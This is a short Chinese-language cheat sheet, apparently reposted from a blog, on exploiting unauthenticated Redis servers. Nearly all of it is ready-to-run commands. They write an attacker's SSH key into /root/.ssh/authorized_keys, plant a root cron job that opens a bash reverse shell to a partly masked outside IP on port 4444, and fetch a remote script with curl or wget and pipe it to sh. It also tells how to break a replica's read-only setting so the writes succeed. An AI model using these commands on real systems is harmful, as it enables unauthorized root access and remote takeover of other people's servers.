redis 未授權訪問(寫公鑰、寫計划任務)


寫公鑰

ssh-keygen -t rsa # 生成key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /tmp/key.txt # 前后加換行
cat /tmp/key.txt | redis-cli -h 59.xx.xx.157 -x set xxx # 連接redis設定鍵
redis-cli -h 59.xx.xx.157 config set dir /root/.ssh/ # 設置本地數據庫存放目錄
redis-cli -h 59.xx.xx.157 config set dbfilename authorized_keys # 設置本地數據庫文件名
redis-cli -h 59.xx.xx.157 save # 報存

寫計划任務執行命令

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/47.xx.xx.96/4444 0>&1\n\n"|redis-cli -h 59.xx.xx.157 -x set 1 #設定值
redis-cli -h 59.xx.xx.157 config set dir /var/spool/cron/ # 設置本地數據庫存放目錄
redis-cli -h 59.xx.xx.157 config set dbfilename root # 設置本地數據庫文件名
redis-cli -h 59.xx.xx.157 save # 報存
# tips: 可以編制好自己sh腳本,直接請求執行就完事了
curl -fsSL http://1.2.3.4/xxx.sh |sh
wget -q -O- http://1.2.3.4/xxx.sh |sh

其他

如果報這個錯誤(error) READONLY You can't write against a read only replica.那么這時候可能配置了主從,遇到這種情況呢,先執行
INFO replication查看配置情況
然后使用SLAVEOF no one命令清除主從關系即可

如果執行報ERROR錯誤,怎么解決呢。解決個錘子呢,沒權限啊,懂么。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM